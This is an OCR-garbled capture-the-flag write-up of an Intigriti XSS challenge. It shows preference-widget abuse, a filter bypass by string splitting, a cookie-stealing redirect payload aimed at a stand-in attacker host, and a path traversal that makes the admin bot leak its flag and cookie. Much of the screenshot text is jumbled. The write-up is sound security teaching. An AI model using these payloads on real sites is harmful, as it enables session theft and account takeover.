https://challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/attacker-profile/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
https://challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/attacker-profile/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
https://challenge-0426.intigriti.io/note/2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216/attacker-profile/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/attacker-profile/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/attacker-profile/manifest.json?note=2e389c302dd3cf5e0a37aea5227e93b17958cd8a6e9cfbaf0bf276eeee816216
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Request Response - Inspector L n X =
Pretty Raw Hex noO= Pretty Raw Hex Render N = Request attributes 2 v E
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POST /api/account/preferences HTTP/2 HITP/Z 200 OK =3
Hos! challenge-042€.intigriti.io 2 Date: Mon, 27 Apr 2026 2 4:28 GMT Request query parameters ] i -]

Cookie: northstar_profile=ddh§£8792ddh715354c39d16al015d74 3 Content-Type: application/json; charset=utf-8 |
Content-Length: 286 4 Content-Length: 472 . |
v
Sec-Ch-Ua-Platform: "Windows" S X-Powered-By: Express Request cookies 1
€ User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4) € Content-Security-Policy: default-src 'self'; script-src B
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 ‘nonce-6FI3XAGRsir+E5yLhtIljg=="' 'strict-dynamic'; style-sre Request headers 19 v
Safari/537.36 'self' 'unsafe-inline' https://fonts.googleapis.com Z
7 Sec-Ch-Ua: "Google Chrom "14 "Not.A/Brand";v="8", https://fonts.gstatic.com; img-sre * data:; fomt-src 'self’ -1
"Chromium" ;v="147" data: https://fonts.googleapis.com https://fonts.gstatic.com; Response headers 9 2 v
Content-Type: application/json connect-src *; frame-src 'self'; object-src 'none'; base-uri
Sec-Ch-Ua-Mobile: 20 ‘none'; form-action 'self’
Accept: */* 7 X-Content-Type-Options: nosniff Q
Origin: https://challenge-0426.intigriti.io Referrer-Policy: no-referrer
Sec-Fetch-Site: same-origin Etag: W/"1d8-FBfsRSESVptViyiJCFdbpPSluuc" =
Sec-Fetch-Mode: cors Strict-Transport-Security: max-age=31536000; includeSubDomains 5
Sec-Fetch-Dest: empty n=T
Accept-Encoding: gzip, deflate, br « 3
Accept-Language: en-US,en;q=0.9 true, o
17 Priority: u=l, i Preferences saved.", 2
{
“"theme .
“fontSize": &
“"language"
"defaultLayout " : )
“../../api/account/preferences/reader-presets/attacker-prof %
CETLES "../../api/account/preferences/reader-presets/attacker 3
24 “readerPresets -profile”, o
“attacker-profile “readerPresets g
“profile": ( "profile” 2
"renderMode "renderMode
"widgetTypes "widgetTypes
"counter", "counter"
"progress" "progress"
1. 1,
"widgetSink": "text" "widgetSink": "text"
} }.
} “attacker-profile
}
}
"progress"
idgetSink": "text"
}
)
}
"stats": (
"presetCount":2
}
}
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Our preferences are saved now so we can continue by creating new notes and try to get that XSS
payload passed the filters with our full renderMode.



Step 5: Custom widgets

Getting renderMode full is the first step but we need more to achieve that XSS. If we try to smuggle
XSS payloads even the renderMode full is not good enough to fully bypass DOMpurify. For
example the payload <img src='x" onerror="self['a'+'l'+'e'+'r'+'t"']()"> which should bypass the
post sanitization we have seen by obfuscating the “alert()” is stripped by DOMpurify to “<img
src="x">". So event handlers are not allowed.

We did not yet use the full potential of our widgets in the POST request saving the preferences. 2
keys are not checked enough at this moment:

- widgetTypes : counter and progress
- widgetSink : text

A quick search trough the client side JavaScript reveals for “counter” and “progress” an interesting
part of the code with function “processEnhancements”

es = geto
stTypes. length) return;

2 matecounter(el) {
277 nt(el.dataset.to || '100", 10);
(target / 60));

01 .

Q@rmam) A v 1ol X

W

{3} 7 characters selected Coverage: n/a

Beside “counter” and “progress” also “custom” seems to exist but looking a bit deeper into the
function we see it expects a specific kind of HTML element to proceed processing.



10);

v

Qrd®) A v 1oft X

Coverage: n/a

- document.getElementByld(‘enhance-config");
- querySelectorAll('[data-enhance]

- types

And searching for “widgetsync” shows “text” can become “script”

293

296 function loadCustomWidget(el) {

Bif (Dgetownstring(app, ‘widgetsink', “text') !== 'script') Dreturn;
298
299 var cfg = el.dataset.cfg;
300 if (lcfg || cfg.length > 512) return;
301 var s = document.createElement( script');
302 s.textContent = cfg;
303 document.head.appendChild(s);
304 }

We also need following according to the code:
- cfg = el.dataset.cfg;

This means a script tag should be embedded in the page <head> section if we create a note with
following structure:

<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="test"> </div>



First we have to save our new prefences so we activate the custom widget part.

1 2 x 3 4 +
m © cancel < > + Bump Al
Request Response ==
Pretty Raw Hex n = Pretty Raw Hex Render n o=
POST /api/account/preferences HTTP/2 HTTP/2 200 OK
Host: challenge-0426.intigriti.io Date: Mon, Apr 2026 21:39:51 GMT
Cookie: northstar_profile=ddb5£8792ddb715354c39d16a1015d74 Content-Type: application/json; charset=utf-8
Content-Length: 278 Content-Length: 482
Sec-Ch-Ua-Plat form: "Windows" X-Powered-By: Express
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x&4) Content-Security-Policy: default-src 'self'; script-src
AppleWebKit/537.36 (KHTML, like Geeko) Chrome/147.0.0.0 'nonce-Ay3usQyHxWAXwCOmznEJKw=="' 'strict-dynamic'; style-src

Safari/537.36
Sec-Ch-Ua
"Chromium" ;v
Content-Type: application/json
Sec-Ch-Ua-Mobile: 20
wyn

https://challenge-042
sec-Fetch-Site: same-origin

"Google Chrome"

a7

.int

Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br

Accept-Language
Priority

en-US,en; q=0.9
u=1, i

"theme": "dark",
"fontSize":14,
“language”:"en
"de faultLayout

api/ac

ile",
"readerPresets": {
"attacker-profile": (
"profile":(
"renderMode":
"widgetTypes"
"custom"

1.
"widgetSink"

Write a note

Rich

Title

widget-test

Content Rich content s

"1a7v,

'self’
https://fonts.gstati
https://fonts. g,
connect-sre *;

‘unsafe-inline’
"Not.A/Brand";v="8",

data
frame-src 'sel
‘none'; form-action 'self’
X-Content-Type-Options
Referrer-Policy: no-referrer
Etag: W/"lce QRld

nosni
igriti.io

"success":true,

"message":"Pref

"preferences": {
“"theme"
"fontSize":14,
"language":"en",

“dark",

https://fonts.goo
img-sre
gleapis.com https://f

gleapis.co
* data:;

font-src 'self’
nts.gstatic. co

‘none’; base-uri

£'; object-src

£t

05gvlot SEWHMcidHx3i70"
Strict-Transport-Security: max-age=31536000;

includeSubDomains

"notifications":true,

"editorMode":

of "defaultLayout"
$ api
-profile",

"readerPresets’: (

"profile":(

"rich

full",

it /pr

"renderMode": " full",

[ "widgetTypes": [

seripe” 1

"attack
"profile"

"renderMode"

"widgetSink

unter"

r-profile”:

{
eI

"widgetTypes": [

1,

"widgetSink"

"stats":(
"presetCount”:2

ormatting is supported for pasted content, embeds, tables, and snippets.

upported

<div id="enhance-config" data-types="custom"></div>

<div data-enhance="custom" data-cfg ”test"></div>|

"custom"

"seript"
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Summary  Print  Compact

Step 6: Embedding a self XSS into a note
Getting a self XSS in our own note now should be easy. We have our preferences saved to bypass
all restrictions except this one:

190 // Post-sanitisation data attribute filter.

191

192 var UNSAFE_CONTENT_RE = /script|cookie|document|window|eval|alert|prompt|confirm|Function|fetch|XMLHttp|import|require|setTimeout|setinterval/i;
193

Compared to the previous one this is easy to bypass for example with a payload like:

<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="self['a'+'l'+'e'+'r'+'t']()"> </div>

Normally alert() would be stripped by the filter but it can be split and will be concatenated
afterwards.



1 2 x 3 4 +
Request
Pretty Raw Hex

POST /api/account/preferences HTTP/2
Host: challenge-0426.intigriti.io
Cookie: northstar_profile=ddb§f8
Content-Length: 276
Sec-Ch-Ua-Platform: "Windows"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0
Safari/537.36

Sec-Ch-Ua: "Google Chrome"
"Chromium";v="147"
Content-Type: application/json
Sec-Ch-Ua-Mobile

Accept: */*

rigin: https://challenge-042
Sec-Fetch-Site: same-origin

2ddb715354¢39d16a1015d74

"Not.A/Brand";v="8",

.intigriti.io

Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Priority: u=l, i

“theme" dar
"fontSize":14,
“language”: "en

“de faultLayout

api/ac

ile",
"readerPresets
"attacker-profile”: {
"profile": (
"renderMode": " full",
"widgetTypes": [
"custom"

1,
"widgetSink":"script"

Write a note

Target: https://challenge-0426.intigritiio /5

wez (D

Response == Inspector - X g
Pretty Raw Hex Render \n Request attributes 2 v 2
_ H
HTTP/2 200 OK 2
Date: Mon, Apr 2026 21:39:51 GMT Request query parameters 0 v B
Content-Type: application/json; charset=utf-g
F‘)n“m,-l’enqch ie2 Request cookies 1 v
X-Powered-By: Express
Content-Security-Policy: default-sre 'self'; seript-sre B
'nonce-Ay3usQyHxWAXwGSnznE JKw: ‘strict-dynamic'; style-sre Request headers 19 v
'self' 'unsafe-inline' https://fonts.googleapis.com g
https://fonts.gstatic.c img-src * data:; font-src 'self’' 4
data: https://fonts gleapis.com https://fonts.gstatic.com; Response headers 9 o »

connect-src *; frame-src 'self'; object-src 'none'; base-uri
‘none'; form-action 'self’

X-Content-Type-
Referrer-Policy
Etag: W/"lce-zQR1dS0SgvlotSEWHMci4Hx3i70"
Strict-Transport-Security: max-age=31536000; includeSubDomains

[o]

"success":true,
"message": "Preferen
"preferences": {
“"theme": "dark",
"fontSize":14,
"language":"en",
"notifications":true,
"editorMode": "rich",
"defaultLayout"
# api
-profile",
"readerPresets":
"profile":(
"renderMode": " full",
"widgetTypes": [
"counter"

suoneueydx3

it /pr
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"widgetSink": "t

"attacker-profile":{
"profile": (
"renderMode": " full",
"widgetTypes": [
"custom"
1.
"widgetSink": "script"

e
"stats":(
"presetCount”:2

Rich formatting is supported for pasted content, embeds, tables, and snippets.

Title

self XSS

Content Rich content supported

<div id="enhance-confi

ata-types
<div data-enhance="custom" data-cfg=

"custom"></div>

'self['a'+'L'+'e'+'P'+'t' 1O "></div>
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challenge-0426.ntigriti.io says

Step 7: Bypassing the last filter to ex-filtrate cookies

We are fairly sure that in the back-end we can read cookies as in the front-end the cookies are not
“httpOnly” protected.

I tried different ex-filtration payload like this one for example:

<div id="enhance-config" data-types="custom"></div>

<div data-enhance="custom" data-cfg="var url = https://<attacker-url>.com/?

ﬂag: +Self[ld'+ IO'+ Vcl+ 7u7+ VmV_I_ 'e’+ 'n'+ 'tj

['c'+'0'+'0"+'k'+'i"+'e'] ;self.constructor.constructor('f'+'e'+'t'+'c'+'h'+ (url) )() "> </div>

The problem that pops-up with these payloads is that the CSP is fairly strict in what can be executed
within the injected script tags.
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After trial and error I came to an URL that redirects towards the attacker controlled website and
takes the cookies as URL parameter:

<div id="enhance-config" data-types="custom"></div>
<div data-enhance="custom" data-cfg="self['loca'+ 'tion'] ="https://<attacker-url>.com/?

ﬂag:r+self[ldr+lor+lcl+rul+rml+rer+Inr+Itr][lcl+rOI+rol+rkr+!ir+rer]"></div>

This works and takes the cookies into the URL:

tax38szyamhas oastify.com/7laq=northstar profile=ddbsia792ddb715354c39d 162101574 ¥ = O R @D @

But now there is a final challenge. We can deliver this exploit to the back-end to check our note but
they will not have the preferences loaded with renderMode full and the custom widgets.

Step 8: Activating our malicious preferences for the
administrator to ex-filtrate the flag

Somehow we need to deliver our redirect payload to the back-end but also first activate the
preferences so renderMode becomes full and the custom widgets are loaded.

We have our note with the redirect payload. That is the first big step made which we want to
“request review” for but before sending it intercept the review request with a proxy like BURP.

€ > e s 2 TcasffcOaedsac 7 A = O W@ @

Redirect




This results in following POST request:

1 2 3 4 5 X+ DA
m ©&  cancel Target: https://challenge-0426.intigritiio /°  HTTR2 (3)
Request Response == Inspector wnD = - x
Pretty  Raw  Hex ® n = Request attributes 2 v

re

Jopadsu  gp

_io Request query parameters (] v
b5£8792ddb715354c39d1lEal0l5d474

Request cookies 1 v

: g
t: Mozilla/5.0 (Windows NT 10.0; Win&4; x&4)

it/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Request headers 16 v
s

SAON (i)

e Chrome";v="147", "Not.A/Brand";v="8",

tch-Mod
D

- ,

cept-Encoding: gzip, deflate, br

cept-Language: en-US,en;q=0.9
u=l, i

suoneuejdx3y

722078971ca5ffc0aed54cle34a59563de7303bE40ease8

suoipe woisn) <P

See how the URL looks again very similar to what we saw earlier:

“https://challenge-0426.intigriti.io/note/<UUID>/<PANEL>/manifest.json ?note= <UUID> "

AND

“https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/<PRESETNAME>/
manifest.json?note=<NOTEUUID>”

We already altered the “panel” variable before loading our own presets or preferences by a path
traversal so we need to do that again when delivering the URL to the back-end for review to load
our own preferences:

/note/0338e722078971ca5ffcOae454c1c34a59563dc7303b640ea588698125978a61/../../api/
account/preferences/reader-presets/attacker-profile/manifest.json?
note=0338e722078971ca5ffc0ae454c1c34a59563dc7303b640ea588698125978a61#

We can traverse back to the API preferences we control like we did before on our own account to
reach full renderMode but this time we need to wipe anything that comes after the URL by adding a
# which means anything after this will not be send to the server to be sure our unique note ID is
loaded and not another one. Do not forget to URL encode this path traversal.

/note/
0338e722078971ca5ffcO0ae454c1c34a59563dc7303b640ea588698125978a61/%2E%2E%2F%2E%
2E%2Fapi%2Faccount%?2Fpreferences%?2Freader%2Dpresets%2Fattacker%2Dprofile%2Fmanifest
%2Ejson%3Fnote%3D0338e722078971ca5ffc0ae454c1c34a59563dc7303b640ea588698125978a6
1%23


https://challenge-0426.intigriti.io/api/account/preferences/reader-presets/
https://challenge-0426.intigriti.io/note/

1) Edit your preferences locally.

2) Save a not with the redirect payload locally.
3) Edit the “request review” URL with the path traversal.

1 2 3 4 5 X + LA
m ©®  cancel Target: hittps://challenge-0426.intigritiio /®  HTP2 (3)
Request Response @ == inspector s X% g
Pretty Raw Hex n = Pretty Raw Hex Render 0 N = Request attributes 2 v _g
1 POST /api/report HTTP/Z 1 HTTP/2 200 0K 2
Host: challenge-042€.intigriti.io 2 Date: Mon, 27 Apr 2026 22:11:11 GMT Request query parameters 0 v R
3 Cookie: morthstar_profile=ddbh§£8792ddh715354c39d16al015d74 3 Content-Type: application/json; charset=utf-8
4 Content-Length: 261 4 Content-Length: 53 .
S Sec-Ch-Ua-Platform: "Windows" S X-Powered-By: Express Request cookies 1 bt
€ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win&4; x&4) € Content-Security-Policy: default-sre 'self'; script-sre B
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 ‘nonce-uL&/ezqcI+DEq0/pe7fvyg=="' 'strict-dynamic'; style-sre Request headers 19 v
Safari/537.36 ‘self' 'unsafe-inline' https://fonts.googleapis.com g
7 Sec-Ch-Ua: "Google Chrome";v="147", "Not.A/Brand"; . https://fonts.gstatic.com; img-sre * data:; fomt-src 'self’ 5
"“147" data: https://fonts.googleapis.com https://fonts.gstatic.com; Response headers - v "
Content-Type: application/json connect-sre *; frame-src 'self'; object-src 'none'; base-uri
Sec-Ch-Ua-Mobile: 20 ‘none'; form-action 'self’
. 7 X-Content-Type-Options: nosniff Q
https://challenge-0426. intigriti.ie Referrer-Policy: no-referrer
Sec-Fetch-Site: same-origin Etag: W/"35-BSPby0ZezzksiMphZXFux4KCPaY" =
Sec-Fetch-Mode: cors| Strict-Transport-Security: max-age=31536000; includeSubDomains k-
Sec-Fetch-Dest: empty n=T
15 Accept-Encoding: gzip, deflate, br « 3
1€ Accept-Language: en-US,en;q=0.9 “message":"A reviewer will open this page shortly." s
17 Priority: u=l, i } H
{
furlt:
“/note/0338e722078971casffc0aed54cle34a59563de7303bE40eas88 &
698125978a61/%2E8 2ES2FA2EY 2BV 2Fapit 2Faccount s 2Fpre ferencest
CFreadertoDpresetst2Fattackert2Dprofilet2Fnanifest$2Ejsont3 o]
Fnote$3D0338e722078971cas £ fc0aed54clc34a59563de7303b640eass z
8698125978a61423" &
®
' 8
S
a
8 DNS rmh51elswfnprn24jd41ax38szygmhaé 172.253.231.213
9 H HTTP rmh5 |ax38: 34.140.37.218
10 2026-Apr-27 22:11:12.676 UTC HTTP rmh51elswfnprn24jd41ax38szygmhaé 34.140.37.218
11 2026-Apr-27 22:11:12.676 UTC HTTP rmh51elswfnprn24jd41ax38szygmhaé 34.140.37.218
Descripti Request to C Response from Collaborator
Pretty Raw Hex n Inspector w = - x
1 GET /?flag=flag=INTIGRITI{01Sd955¢-1643-77a6-99ef-1c10975ab284};420northstar_profile=££885310003b56ch4234c278c47933ca HITP/1. 1
2 Host: rmhSlelswfnprn®4jd4lax3Bszyqmhaé.oastify. com Request attributes 2 v
3 Conmection: keep-alive
4 sec-ch-ua: "Chromium";w="147", "Not.A/Brand";
sac-eh-us-mohilas 70 Request query parameters 1 v
sec-ch-ua-platform: "Linux"

7 Upgrade-Insecure-Requests: 1

2 User-Agent: Mozilla/5.0 (X11; Linux x86_4) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/147.0.0.0 Safari/537.36

S Accept:

text/html,application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, image/apng,*/*;q=0.8,application/signed-exchange;v=hb

10 Sec-Fetch-Site: cross-site
11 Sec-Fetch-Mode: navigate

12 Sec-Fetch-Dest: document

13 Accept-Encoding: gzip, deflate, br, zstd
14 Accept-Language: en-US,en;q=0.9

Request headers




